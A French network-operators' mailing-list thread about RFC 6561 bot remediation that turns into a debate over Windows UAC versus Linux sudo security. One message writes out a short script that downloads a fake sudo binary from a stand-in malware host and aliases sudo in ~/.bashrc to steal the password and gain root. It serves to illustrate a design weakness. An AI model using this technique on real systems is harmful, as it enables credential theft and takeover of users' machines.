Michel Py Attention au contexte: ces billets étaient dans le domaine de l'hébergement, pas de l'accès grand public, deux choses totalement différentes. Aussi, ne pas confondre détection et remédiation. RobOEM a écrit: Totalement différentes? Dans les termes de service actuels, oui, nous sommes tout à fait d'accords. Cependant en pratique, sachant que d'une part une minorité vocale tient à pouvoir héberger des services @home, sur un accès 'grand public', et que d'autre part certains font héberger des applications pas tellement mieux sécurisées que l'ensemble windows+applications+utilisateur grand public, la seule différence que je pourrais voir c'est qu'a priori, il n'y a pas d'utilisateur en permanence actif sur un serveur hébergé, et qu'il n'y a pas toujours de poste actif derrière un accès au net grand public (à part les box, mais bon, autre débat). Intellectuellement, je suis à peu près d'accord. Mais d'un point de vu opérationnel, très différent et voici pourquoi: 1. Le serveur hébergé qui se fait contaminer (disons par une vulnérabilité, puisque personne n'est devant pour cliquer sur le lien qui tue). Impact sur le réseau: fort; un serveur qui a un lien GE ça va tuer la moitié du réseau d'un petit hébergeur. Même à 100Mbps ça va impacter un très petit hébergeur. Impact sur l'Internet: fort. Détection: facile. A la limite, pas besoin de s'occuper de cette partie-là: le téléphone va se mettre à sonner et la boite abuse@ se remplir. Les sous: garder ce serveur actif coûte nettement plus que ce que paie le client. Résultat des courses: on bloque tout de suite. Seuls les très gros hébergeurs peuvent se permettre d'attendre, et c'est là ou il faut leur taper sur les doigts s'ils le font. 2. Le PC de Mme Michu qui récolte un merdiciel parce qu'elle a cliqué sur un truc et dit à UAC que c'était OK. Impact sur le réseau: faible. Avec son upstream de 1Mbps, elle ne va pas faire tomber l'infra. Impact sur l'Internet: faible. C'est malheureux à dire, mais le PC de Mme Michu qui envoie du spam à 1Mbps, ça n'empêche pas l'Internet de marcher. Détection: Il faut s'en occuper. Surtout dans le cas d'un spambot, presque plus personne ne se donne la peine d'avertir le FAI. Les sous: 1Mbps c'est plus rien aujourd'hui, garder le PC de Mme Michu actif n'empêche pas d'être profitable, même si ça écorne la marge. Résultat des courses: personne ne fait rien. Ce que fait Comcast dans ce domaine (RFC 6108), c'est bien. Mais ne pas s'attendre à ce que tous les FAI fassent pareil, en particulier les petits qui n'ont pas les économies d'échelle ni les ressources des gros. Michel --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
2012/3/21 Michel Py mic...@arneill-py.sacramento.ca.us: RobOEM a écrit: La source de l'infection n'est pas de son domaine de compétence, mais la détection l'est. Et si l'on se réfère à ce genre de posts http://www.mail-archive.com/frnog@frnog.org/msg17023.html http://www.mail-archive.com/frnog@frnog.org/msg17826.html c'est bien au FAI d'intervenir, et d'aider le client à se sortir de la merde, dans une certaine limite. Attention au contexte: ces billets étaient dans le domaine de l'hébergement, pas de l'accès grand public, deux choses totalement différentes. Aussi, ne pas confondre détection et remédiation. Totalement différentes? Dans les termes de service actuels, oui, nous sommes tout à fait d'accords. Cependant en pratique, sachant que d'une part une minorité vocale tient à pouvoir héberger des services @home, sur un accès 'grand public', et que d'autre part certains font héberger des applications pas tellement mieux sécurisées que l'ensemble windows+applications+utilisateur grand public, la seule différence que je pourrais voir c'est qu'a priori, il n'y a pas d'utilisateur en permanence actif sur un serveur hébergé, et qu'il n'y a pas toujours de poste actif derrière un accès au net grand public (à part les box, mais bon, autre débat). Dans les deux cas, l'hébergeur ou l'ISP fournit un accès à internet à des utilisateurs éventuellement malveillants ou incompétents (la frontière entre les deux pouvant être infime), et si tu considères qu'un hebergeur doit apporter du conseil à la remédiation, avoir des capacités de détection tournées vers l'interne, et éventuellement bloquer un de ses utilisateurs qui spamme/DoS avant de l'aider à nettoyer ou de le sommer de nettoyer avant de se faire virer, je ne vois pas vraiment quelle différence il y a avec un FAI et le public. C'était justement le débat que j'essayais de lancer, mais à ce train là il va devoir attendre vendredi. Rob' --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
On Thu, 22 Mar 2012 06:19:07 +0100, Jérôme Nicolle jer...@ceriz.fr said: merde : tu perds ton privilège d'accès au réseau, point barre) fera un Le probleme : aujourd'hui l'access au reseau n'est plus un privilege, mais un droit; la plupart des cas le droit est le resultat d'un contrat (pas forcement bien ecrit) avec un ISP (client paye, ISP fournit acces), mais il y a certains qui parlent meme d'un droit fondamental (sujet de troll pour demain). --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
Le 22/03/2012 10:44, Radu-Adrian Feurdean a écrit : On Thu, 22 Mar 2012 06:19:07 +0100, Jérôme Nicolle jer...@ceriz.fr said: merde : tu perds ton privilège d'accès au réseau, point barre) fera un Le probleme : aujourd'hui l'access au reseau n'est plus un privilege, mais un droit; la plupart des cas le droit est le resultat d'un contrat (pas forcement bien ecrit) avec un ISP (client paye, ISP fournit acces), mais il y a certains qui parlent meme d'un droit fondamental (sujet de troll pour demain). Dans le contrat il y a des obligations à respecter pour le client. De mémoire, le contrat de Orange demande à ses clients de respecter la nétiquette. Si le client ne respecte pas le contrat, le FAI peut cesser de fournir le service. Le problème c'est qu'il est plus rentable de laisser les gens spammer que de se priver de leurs 30€/mois. C'est là qu'il faudrait imposer aux FAI de faire le ménage :P Rémi. --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
Le 22/03/2012 09:19, RobOEM a écrit : Totalement différentes? Dans les termes de service actuels, oui, nous sommes tout à fait d'accords. Cependant en pratique, sachant que d'une part une minorité vocale tient à pouvoir héberger des services @home, sur un accès 'grand public', et que d'autre part certains font héberger des applications pas tellement mieux sécurisées que l'ensemble windows+applications+utilisateur grand public, la seule différence que je pourrais voir c'est qu'a priori, il n'y a pas d'utilisateur en permanence actif sur un serveur hébergé, et qu'il n'y a pas toujours de poste actif derrière un accès au net grand public (à part les box, mais bon, autre débat). Dans les deux cas, l'hébergeur ou l'ISP fournit un accès à internet à des utilisateurs éventuellement malveillants ou incompétents (la frontière entre les deux pouvant être infime), et si tu considères qu'un hebergeur doit apporter du conseil à la remédiation, avoir des capacités de détection tournées vers l'interne, et éventuellement bloquer un de ses utilisateurs qui spamme/DoS avant de l'aider à nettoyer ou de le sommer de nettoyer avant de se faire virer, je ne vois pas vraiment quelle différence il y a avec un FAI et le public. C'était justement le débat que j'essayais de lancer, mais à ce train là il va devoir attendre vendredi. Je souscris sans réserve à cette approche. Si on veut que les internautes se comportent en adultes responsables il faut les traiter comme tels. De ce point de vue, Hadopi est une énorme régression, en différenciant le boulot d'un fournisseur de service (qui doit garder des logs, identifier des IP, faire suivre des mails), et un utilisateur final qui doit juste installer ce qu'on lui demande d'installer, et n'a pas (par exemple) la possibilité de garder des logs pour faire suivre à son tour. Rémi. --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
On 2012-03-21 01:30, Jérôme Benoit wrote: On Tue, 20 Mar 2012 23:47:49 +0100 e-t172e-t...@akegroup.org wrote: On 2012-03-20 20:25, Jérôme Benoit wrote: C'est sur, c'est pas la faute de l'OS qui ne sépare pas les privilèges, Depuis Windows Vista, si. Tout utilisateur (même admin) est par défaut sur une session à droits restreints et doit explicitement autoriser une application à s'élever pour toucher au système. Et c'est conçu de telle sorte que même les vieilles applis fonctionnent avec des droits restreints, grâce à une astucieuse redirection automatique des appels système. http://en.wikipedia.org/wiki/User_Account_Control Cette bonne blague :) Et tu oses appeler çà de la séparation de privilèges ? man 7 capabilities sous Linux par exemple mais des mécanismes similaires existent sous tous les *nix des années avant 2008, l'année ou MS a tout juste commencé à comprendre les idées sous-jacentes du principe (mais pas entièrement vu le résultat :)) http://msdn.microsoft.com/en-us/library/windows/desktop/aa374860%28v=vs.85%29.aspx http://msdn.microsoft.com/en-us/library/windows/desktop/aa379306%28v=vs.85%29.aspx Ça existe depuis XP, sorti en 2001. qui ne randomize pas la pile d'allocation mémoire Idem : http://en.wikipedia.org/wiki/ASLR#Microsoft_Windows Ahahahahah, même OS X l'implémente mieux depuis la 10.7, je te donne 10 min pour trouver un bout de code en C qui listent les zones qui ne le sont pas et elles sont tellement nombreuses :) Il faut spécifier que le code est compatible ASLR à la compilation pour que ça fonctionne. Je ne vois pas en quoi c'est la faute de l'OS si des… « développeurs » tiers pondent du code qui ne fonctionne pas lorsqu'on randomise leurs espaces d'adressage. qui ne fourni pas de base une seule politique de type MAC Itou : http://en.wikipedia.org/wiki/Mandatory_Integrity_Control Tu cherches à te ridiculiser en public ? 1) c'est pas actif à la livraison dans trop de OEM Va falloir citer des sources, parce que pour l'instant, un Vista/7 qui n'a pas la notion d'intégrité, j'en ai encore jamais vu. Et quand bien même ce serait vrai, c'est la faute à l'OEM, pas l'OS. 2) c'est l'application qui choisit et de ne pas le faire dans 98% des cas (hénaurme) Encore une fois, si une application tierce choisit d'être une passoire, c'est son problème. Microsoft privilégie parfois la compatibilité avec les anciennes applications à la sécurité quand ils sont forcés de choisir. Après c'est clair que permettre aux gens de travailler c'est vraiment pas important (sarcasm inside). Ceci dit, les applications présentant une surface d'attaque importante telles que les navigateurs utilisent souvent ces fonctionnalités. j'ose à peine parler pas de sandbox (çà impliquerait d'avoir des appels systèmes POSIX pour être fait sans énorme hack) Google Chrome met chaque thread correspondant à un onglet dans une sandbox, et à ma connaissance, il n'utilise pas d'« énorme hack » pour le faire. Il faut aussi signaler le mode protégé des threads d'IE qui s'en rapproche pas mal. Un rapide sous d’œil à http://src.chromium.org/viewvc/chrome/trunk/src/sandbox/src/ me fait très largement dire le contraire :) Hum, oui. Au temps pour moi, j'avais pas pris le temps de vérifier. Il est clair que réimplémenter tous les appels système n'est exactement la solution la plus simple qui soit. Tu confonds deux choses qui n'ont aucun rapport : - La conception d'un système d'exploitation avec des mécanismes de sécurité qui tiennent la route; - L'intégration d'un tel système qui oublient juste d'implémenter lesdits mécanismes. Je suis conscient de cette distinction. Je dénonce justement le fait que la distribution Linux la plus grand public (Ubuntu), malgré le fait qu'elle soit basée sur un OS offrant des principes de sécurité solides, envoie tout ça par la fenêtre dès lors qu'elle permet l'utilisation de su/sudo. Les corrections sont simples pour corriger des choix d'intégration. Tu peux expliquer ces corrections ? Plus précisément, si tu peux me fournir un équivalent d'UAC sous Linux qui ne soit pas une passoire, je suis tout ouïe. Et à ergonomie équivalente, hein, sinon c'est trop facile (UAC c'est juste cliquer sur un bouton pour autoriser l'élévation). Windows est dans le cas ou çà a été oublié à la conception et le cheminement inverse pour palier les errances en sécurité à la conception est juste largement plus complexe et ... en cours de cheminement ... (pour rester poli) depuis 4 ans sans apporter pour le moment des réponses concrètes et efficientes (une parti du pb étant d'avoir mal habitué des palanqués de programmeurs a des APIs qui n’intègre aucunes notions de sécurité). C'est pas faux, mais tu ne peux pas nier le fait que depuis quelques années Microsoft met les bouchées doubles pour tenter de rattraper son retard. -- Etienne Dechamps / e-t172 - AKE Group Phone: +33 6 23 42 24 82 --- Liste de diffusion du
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
On Tue, 20 Mar 2012 23:47:49 +0100, e-t172 e-t...@akegroup.org said: http://en.wikipedia.org/wiki/User_Account_Control On parle bien des fonctionalites qu'il faut imerativement deactiver si on veut pouvoir garder un systeme utilisable. C'est bien ca ? Google Chrome met chaque thread correspondant à un onglet dans une sandbox, et à ma connaissance, il n'utilise pas d'« énorme hack » pour La separation est relative (chaque onglet *n'est* *pas* independant, il y a generalement plusieurs qui sont groupes dans un meme thread), et la on parle de Chrome. le faire. Il faut aussi signaler le mode protégé des threads d'IE qui s'en rapproche pas mal. A verifier quand-meme. Il y a fort à parier que si c'étaient des systèmes Linux qui avaient 95% de parts de marché sur le bureau, la situation serait exactement la Les bases etant tres differentes, je ne suis pas du tout convaincu. Deja en windoze-land il y a quoi, 4-5 versions dans la nature (XP/32, Vista/32, Vista/64 , 7/32, 7/64) ? En *nix-land, il y en a nettement plus que ca. même. En fait, ce serait même pire : par rapport à UAC, la solution typique sous Linux à base de su/sudo (cf Ubuntu) est une véritable passoire. ? Tu peux expliquer ? Moi je retien juste que Vista+UAC etait totalement inutilisable. 7+UAC ca reste presque potable, mais les choses embetantes ne sont pas totalement disparues. Au moins, Microsoft essaie de mettre le maximum de bâtons dans les roues à quelqu'un qui essaierait de passer outre le prompt UAC ; par Il y a M$FT, et il y a les autres editeurs, qui eux n'ont pas l'air d'voir tout compris. Adobe au pif. En effet, wondows souffre d'un historique de plusieurs dizaines d'annees de mentalite zero securite. contre sous Linux c'est la fête : su/sudo s'exécute dans un contexte (typiquement, un shell) qui est totalement sous le contrôle de l'utilisateur à droits restreints, ce qui en fait un dispositif de sécurité à peu près équivalent à un cadenas en mousse. Learn *nix ! De preference plus que w/ps/ls/vmstat. Par contre le chose qui commence a etre embetant dans le monde *nix, c'est le malware qui tourne entant qu'utilisateur standard (pas besoin de root). La fonctionalite est probablement un peu plus limitee, le nettoyage nettement plus facile, mais ca existe quand-meme, et ca pose des problemes. --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
On 2012-03-21 11:56, Radu-Adrian Feurdean wrote: On Tue, 20 Mar 2012 23:47:49 +0100, e-t172e-t...@akegroup.org said: http://en.wikipedia.org/wiki/User_Account_Control On parle bien des fonctionalites qu'il faut imerativement deactiver si on veut pouvoir garder un systeme utilisable. C'est bien ca ? Cette remarque s'applique à Vista, ils ont corrigé le problème dans Windows 7. Il y a fort à parier que si c'étaient des systèmes Linux qui avaient 95% de parts de marché sur le bureau, la situation serait exactement la Les bases etant tres differentes, je ne suis pas du tout convaincu. Deja en windoze-land il y a quoi, 4-5 versions dans la nature (XP/32, Vista/32, Vista/64 , 7/32, 7/64) ? En *nix-land, il y en a nettement plus que ca. J'aurais plutôt tendance à dire que dans une telle situation les masses se concentreraient sur une ou deux distributions (genre Ubuntu), mais on spécule là. même. En fait, ce serait même pire : par rapport à UAC, la solution typique sous Linux à base de su/sudo (cf Ubuntu) est une véritable passoire. ? Tu peux expliquer ? Moi je retien juste que Vista+UAC etait totalement inutilisable. 7+UAC ca reste presque potable, mais les choses embetantes ne sont pas totalement disparues. Pour un utilisateur lambda type Madame Michu (j'ai ma mère en tête), le prompt UAC doit apparaître genre une fois par mois, par exemple quand un logiciel a décidé qu'il était temps de se mettre à jour. Dès qu'on sort du cercle des informaticiens, il devient franchement rare de devoir élever une application pour effectuer une tâche. D'ailleurs ça rend le système assez efficace, car vu la rareté de la demande, ma mère est bien consciente qu'il faut réfléchir un minimum avant d'accepter. Elle m'a même appelé une fois parce qu'elle avait un doute. Au moins, Microsoft essaie de mettre le maximum de bâtons dans les roues à quelqu'un qui essaierait de passer outre le prompt UAC ; par Il y a M$FT, et il y a les autres editeurs, qui eux n'ont pas l'air d'voir tout compris. Adobe au pif. En effet, wondows souffre d'un historique de plusieurs dizaines d'annees de mentalite zero securite. C'est pas faux, mais comme je l'ai dit, c'est une mentalité qui est en train de changer à grande vitesse. contre sous Linux c'est la fête : su/sudo s'exécute dans un contexte (typiquement, un shell) qui est totalement sous le contrôle de l'utilisateur à droits restreints, ce qui en fait un dispositif de sécurité à peu près équivalent à un cadenas en mousse. Learn *nix ! De preference plus que w/ps/ls/vmstat. J'administre des serveurs Linux depuis presque dix ans. Je t'invite donc à développer, si possible en arrêtant de me prendre pour un con. Je précise que je suis ni pro-Linux ni pro-Windows. Par contre j'ai tendance à préférer Windows sur un poste de travail et Linux sur un serveur (mais pas pour des questions de sécurité, enfin, pas uniquement). -- Etienne Dechamps / e-t172 - AKE Group Phone: +33 6 23 42 24 82 --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
On Wed, 21 Mar 2012 14:33:42 +0100, e-t172 e-t...@akegroup.org said: prompt UAC doit apparaître genre une fois par mois, par exemple quand un logiciel a décidé qu'il était temps de se mettre à jour. Dès qu'on sort ... C'est pas faux, mais comme je l'ai dit, c'est une mentalité qui est en train de changer à grande vitesse. Ce n'est pas l'impression que j'ai. Les updates, il y en a quelques applications standard qui en abusent encore trop. J'administre des serveurs Linux depuis presque dix ans. Je t'invite donc à développer, si possible en arrêtant de me prendre pour un con. Les setuid ne s'executent pas exactement dans le contexte de l'utilisateur. Certes, ca prend en entree des choses aleatoires fournis par l'utilisateur, mais ce n'est surtout pas le n'importe quoi dont tu parles. --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
On 2012-03-21 15:59, Radu-Adrian Feurdean wrote: J'administre des serveurs Linux depuis presque dix ans. Je t'invite donc à développer, si possible en arrêtant de me prendre pour un con. Les setuid ne s'executent pas exactement dans le contexte de l'utilisateur. Certes, ca prend en entree des choses aleatoires fournis par l'utilisateur, mais ce n'est surtout pas le n'importe quoi dont tu parles. Je connais parfaitement le principe du setuid et je sais que su/sudo s'exécute en tant que root pour élever l'utilisateur, mais ce n'est pas ça dont je parle. Le problème dont je parle c'est que toute l'utilisation de su/sudo s'effectue dans un contexte (contexte au sens général, pas seulement utilisateur) dont la sécurité est exactement égale à zéro. Je vais détailler en prenant comme exemple sudo (mais le principe est exactement le même avec su). Je pars du principe que sudo demande un mot de passe pour effectuer l'élévation, vu que si sudo ne demande aucun mot de passe alors c'est gagné avant même d'avoir commencé (j'exécute sudo et hop je me retrouve root). Le cœur du problème est que sudo, dans le cas d'une utilisation typique, est exécuté dans le contexte d'un shell, qui lui même se trouve dans le contexte d'un terminal graphique, qui lui-même se trouve dans le contexte d'un serveur X. Tout ça représente une surface d'attaque grande comme un terrain de foot et qui ne présente aucune difficulté à exploiter. Tu vois où je veux en venir ? Considère par exemple ce script : wget http://malware.example.com/fakesudo -O ~/.foo chmod +x ~/.foo cat ~/.bashrc EOF alias sudo=~/.foo EOF Tu remarqueras que toutes ces commandes n'ont pas besoin de privilèges particuliers pour fonctionner. fakesudo est un binaire malicieux conçu pour se faire passer pour sudo en exécutant le sudo original mais en interceptant stdin/stdout/pty (vois ça comme une attaque MITM mais avec des pipes). Tu vois où je veux en venir ? À partir du moment où un attaquant à réussi à obtenir un accès shell utilisateur à ta machine, il exécute le script de 5 lignes ci-dessus et dès que tu utilises su/sudo c'est game over, il a le root et en cadeau bonus le mot de passe en clair de ton compte. Il y a des tas de variantes possibles, tant dans l'exploitation (par exemple au lieu d'intercepter le mot de passe on remplace la commande à exécuter, ça a le mérite de fonctionner avec tout token d'authentification) que dans l'approche de l'attaque (on peut par exemple utiliser le terminal au lieu du shell, ou jouer avec le protocole X). Il est aussi possible de mener ce genre d'attaque sur les « sudo graphiques » (par exemple en imitant la fenêtre, ou en jouant avec le PATH, ou en trifouillant la configuration de l'environnement de bureau, ou…). Si quelqu'un a une solution fiable pour ce problème, je suis tout ouïe. Pour l'instant la seule solution que je vois c'est de basculer sur une console tty en mode texte pour se logger en root, mais ça casse un peu tout le principe de la chose. De ce point de vue UAC est infiniment supérieur. Lorsqu'une application demande l'élévation ce n'est pas une fenêtre de prompt classique qui s'affiche. À la place, le kernel (ou du moins un composant système) prend entièrement le contrôle de l'affichage, le grise et affiche la fenêtre de prompt UAC. Cette fenêtre fonctionne à un niveau d'intégrité supérieur, ce qui empêche les autres applications d'interagir avec pour éviter par exemple de simuler le clic sur le bouton de validation (ce principe vaut également pour l'ensemble de l'application une fois qu'elle est élevée). Un keylogger ne fonctionnera pas non plus pendant le temps où ladite fenêtre est affichée, et même s'il fonctionnait, il ne servirait à rien puisque dans la configuration par défaut, le prompt UAC ne demande pas de mot de passe (ce qui est ici une bonne chose !). C'est d'ailleurs pour la même raison qu'afficher un faux prompt UAC ne servirait à rien non plus. Il est également impossible d'altérer le programme qui se fait élever car, sauf grosse bourde dans la configuration, ce dernier n'est pas modifiable par un utilisateur non élevé. Au final, il est très difficile pour un programme de s'élever sans que l'utilisateur humain valide lui-même de sa propre main le prompt UAC. Je dis « très difficile » pas « impossible » car, comme tout logiciel, il existe probablement des failles de sécurité, mais ici, ce sont des simples failles dans l'implémentation, pas un problème fondamental comme c'est le cas pour su/sudo. -- Etienne Dechamps / e-t172 - AKE Group Phone: +33 6 23 42 24 82 --- Liste de diffusion du FRnOG http://www.frnog.org/
RE: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
RobOEM a écrit: La source de l'infection n'est pas de son domaine de compétence, mais la détection l'est. Et si l'on se réfère à ce genre de posts http://www.mail-archive.com/frnog@frnog.org/msg17023.html http://www.mail-archive.com/frnog@frnog.org/msg17826.html c'est bien au FAI d'intervenir, et d'aider le client à se sortir de la merde, dans une certaine limite. Attention au contexte: ces billets étaient dans le domaine de l'hébergement, pas de l'accès grand public, deux choses totalement différentes. Aussi, ne pas confondre détection et remédiation. Ah ouais, passque le drive-by download ça existe pas? Lire le la partie du fil à propos de UAC, et si le drive-by download ça existe mais néanmoins on peut limiter la casse. Plus sérieusement, je pense que les fabricants d'antivirus vont trop loin avec les cracks de jeux et les keygens: ils ne testent pas si le crack contient un virus ou pas et marquent systématiquement le fichier comme virus. C'est contre-productif, car ça pousse les utilisateurs à désactiver l'antivirus quand ils sont convaincus que le crack ne présente pas de danger, ce qui est parfois le cas. Totalement +1. Et même, cela permet à des gens pas bien intentionnés de dire ton AV va détecter ça comme un virus mais c'est normal, regarde comment ils détectent tel crack, ou pwdump. Ignore donc cet avertissement et continue avec l'install. Après, où tirer la limite? Il n'y a pas de limite; si le crack ou le keygen contient aussi un merdiciel, le marquer comme tel mais s'il n'en contient pas, ne rien faire. Il ne faut pas confondre lutte contre les bots et lutte contre le piratage, et il y a encore des hackers qui écrivent des cracks et des keygens que pour le plaisir de le faire. En plus, ces temps-ci, c'est relativement facile de détecter ce genre de chose. Comme beaucoup d'autres, j'ai une petite VM dont je sauve le contenu qui me sert à essayer ce les trucs douteux; si je me fais véroler la VM, peu de conséquences: je recopie mon image propre, ça ne prend que quelques secondes. Récemment j'ai eu plusieurs clients qui m'ont demandé un CD de Windows XP home, parce qu'ils décollent l'étiquette de la vieille bécane dont ils se débarrassent et veulent installer une VM sur leur nouveau PC. Michel. --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
On Wed, 21 Mar 2012 09:45:33 +0100 e-t172 e-t...@akegroup.org wrote: http://msdn.microsoft.com/en-us/library/windows/desktop/aa374860%28v=vs.85%29.aspx http://msdn.microsoft.com/en-us/library/windows/desktop/aa379306%28v=vs.85%29.aspx Ça existe depuis XP, sorti en 2001. Personne ne les utilise puisque c'est pas obligatoire. Le principe étant que si il n'a pas d'impératif fonctionnel sécuritaire lors de la concrétisation d'un soft, le programmeur s'en tamponne le coquillard :) Il faut spécifier que le code est compatible ASLR à la compilation pour que ça fonctionne. Je ne vois pas en quoi c'est la faute de l'OS si des… « développeurs » tiers pondent du code qui ne fonctionne pas lorsqu'on randomise leurs espaces d'adressage. C'est la faute à l'OS dans le sens où l'utilisation d'ASLR est rendu optionnel. Ça ferait sans doute chier un paquet d'éditeur mais sans l'obligation, c'est juste faire du marketing sécuritaire de ASLR. Va falloir citer des sources, parce que pour l'instant, un Vista/7 qui n'a pas la notion d'intégrité, j'en ai encore jamais vu. Et quand bien même ce serait vrai, c'est la faute à l'OEM, pas l'OS. Surtout pas. Un bon troll ne cite jamais ses sources :) 2) c'est l'application qui choisit et de ne pas le faire dans 98% des cas (hénaurme) Encore une fois, si une application tierce choisit d'être une passoire, c'est son problème. Microsoft privilégie parfois la compatibilité avec les anciennes applications à la sécurité quand ils sont forcés de choisir. Après c'est clair que permettre aux gens de travailler c'est vraiment pas important (sarcasm inside). Pas mal comme troll :p Ceci dit, les applications présentant une surface d'attaque importante telles que les navigateurs utilisent souvent ces fonctionnalités. Oui mais bon, la sécurité çà se décrète par design au début, çà coute plus cher, çà demande plus de neurones mais ne pas le faire n'a pas juste quelques effets de bords vaguement indésirables, c'est plutôt dans les avalanches d'effets. troll off Tu peux décliner le pb à un wagon de RFCs de l'IETF, en vrac : DNS TCP BGP /troll off Je suis conscient de cette distinction. Je dénonce justement le fait que la distribution Linux la plus grand public (Ubuntu), malgré le fait qu'elle soit basée sur un OS offrant des principes de sécurité solides, envoie tout ça par la fenêtre dès lors qu'elle permet l'utilisation de su/sudo. Les corrections sont simples pour corriger des choix d'intégration. Tu peux expliquer ces corrections ? Plus précisément, si tu peux me fournir un équivalent d'UAC sous Linux qui ne soit pas une passoire, je suis tout ouïe. Et à ergonomie équivalente, hein, sinon c'est trop facile (UAC c'est juste cliquer sur un bouton pour autoriser l'élévation). LSM est ton ami lors de la phase d'intégration, c'est là que tu définis quel paquet à le droit de faire quoi en fonction de critère très fin en fonction du modèle choisi (TE, RSBAC, MLS). C'est long ? Vi, très long et fastidieux mais quand tu as fini le boulot, je met au défi un cracker de passer outre. C'est user-frienly ? Vi, si ta politique est bien conçue. Même pas un prompt pour l'élévation de privilège, pas besoin (ce qui entre parenthèse est une hérésie, on ne demande pas à l'utilisateur de faire une élévation ...). Dans un autre mail tu cites un exemple de changement d'un alias pour pointer vers du code malicieux. C'est inexploitable avec LSM, le code n'aura pas les droits (pour faire court, c'est dans les extend attributes d'un fichier qui ne sont pas modifiables, ni par root, ni par l'utilisateur, seul dieu et le responsable le peut :)) OpenBSD est une très bon exemple d'intégration continue de méthodes et techniques sécuritaires sans en faire une usine à gaz pour admin sys (ce qui peut peut être le défaut principal de LSM). Windows est dans le cas ou çà a été oublié à la conception et le cheminement inverse pour palier les errances en sécurité à la conception est juste largement plus complexe et ... en cours de cheminement ... (pour rester poli) depuis 4 ans sans apporter pour le moment des réponses concrètes et efficientes (une parti du pb étant d'avoir mal habitué des palanqués de programmeurs a des APIs qui n’intègre aucunes notions de sécurité). C'est pas faux, mais tu ne peux pas nier le fait que depuis quelques années Microsoft met les bouchées doubles pour tenter de rattraper son retard. Je ne le nie pas, mais ne pas le faire ne ferait pas un bon troll :p Plus sérieusement, MS doit passer maintenant à la phase : tu veux tourner sur Windows 8 ? Tu le fais en suivant mes règles de sécurité qui ne sont pas là pour te faire chier ou pour empêcher les gens de travailler, elles sont là pour blah blah MS est suffisamment gros pour le faire dans le monde de l'informatique propriétaire, on se demande pourquoi çà a pris autant de temps et autant de dommage collatéraux (enfin, j'ai une idée du pourquoi
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
On 2012-03-22 00:06, Jérôme Benoit wrote: On Wed, 21 Mar 2012 09:45:33 +0100 e-t172e-t...@akegroup.org wrote: http://msdn.microsoft.com/en-us/library/windows/desktop/aa374860%28v=vs.85%29.aspx http://msdn.microsoft.com/en-us/library/windows/desktop/aa379306%28v=vs.85%29.aspx Ça existe depuis XP, sorti en 2001. Personne ne les utilise puisque c'est pas obligatoire. Le principe étant que si il n'a pas d'impératif fonctionnel sécuritaire lors de la concrétisation d'un soft, le programmeur s'en tamponne le coquillard :) C'est donc au client de se retourner contre le fournisseur du logiciel vérolé. Je ne vois pas le rapport avec l'OS. (oui je sais, bisounours, toussa, m'enfin si plus de monde le faisait et tenait les développeurs pour responsables, on se retrouverait peut-être pas dans ce genre de situation) Il faut spécifier que le code est compatible ASLR à la compilation pour que ça fonctionne. Je ne vois pas en quoi c'est la faute de l'OS si des… « développeurs » tiers pondent du code qui ne fonctionne pas lorsqu'on randomise leurs espaces d'adressage. C'est la faute à l'OS dans le sens où l'utilisation d'ASLR est rendu optionnel. Ça ferait sans doute chier un paquet d'éditeur mais sans l'obligation, c'est juste faire du marketing sécuritaire de ASLR. Faut vérifier mais je pense que l'ASLR est activé par défaut lors de la création de nouveau code, le fait qu'il ne soit pas activé pour de l'ancien code est pour des questions de rétrocompatibilité. LSM est ton ami lors de la phase d'intégration, c'est là que tu définis quel paquet à le droit de faire quoi en fonction de critère très fin en fonction du modèle choisi (TE, RSBAC, MLS). C'est long ? Vi, très long et fastidieux mais quand tu as fini le boulot, je met au défi un cracker de passer outre. C'est user-frienly ? Vi, si ta politique est bien conçue. Même pas un prompt pour l'élévation de privilège, pas besoin (ce qui entre parenthèse est une hérésie, on ne demande pas à l'utilisateur de faire une élévation ...). Dans un autre mail tu cites un exemple de changement d'un alias pour pointer vers du code malicieux. C'est inexploitable avec LSM, le code n'aura pas les droits (pour faire court, c'est dans les extend attributes d'un fichier qui ne sont pas modifiables, ni par root, ni par l'utilisateur, seul dieu et le responsable le peut :)) Ton raisonnement s'applique à un gros parc d'entreprise avec des gens payés à plein temps pour bosser sur ce genre de trucs (ce qui est déjà pas gagné) et configurer au micropoil les politiques de sécurité. Je te parle de la machine chez Madame Michu. Peux-tu me citer une distribution user-friendly type Ubuntu qui implémente « hors de la boîte » ce genre de mesures de sécurité ? (c'est une vraie question) Plus sérieusement, MS doit passer maintenant à la phase : tu veux tourner sur Windows 8 ? Tu le fais en suivant mes règles de sécurité qui ne sont pas là pour te faire chier ou pour empêcher les gens de travailler, elles sont là pour blah blah J'ai l'impression que c'est ce qu'ils ont l'intention de faire pour Windows 8 ARM, où ils n'ont pas à ce soucier de la compatibilité puisque c'est une nouvelle plate-forme. Mais il est vrai que sur certains points la philosophie de Windows 8 ARM ressemble tellement à celle d'Android ou iOS que je me demande si on parle encore d'OS pour PC à ce stade… MS est suffisamment gros pour le faire dans le monde de l'informatique propriétaire, on se demande pourquoi çà a pris autant de temps et autant de dommage collatéraux (enfin, j'ai une idée du pourquoi du comment, mais çà fera l'objet d'un autre troll :)) Ce qui les ralentit c'est surtout leur 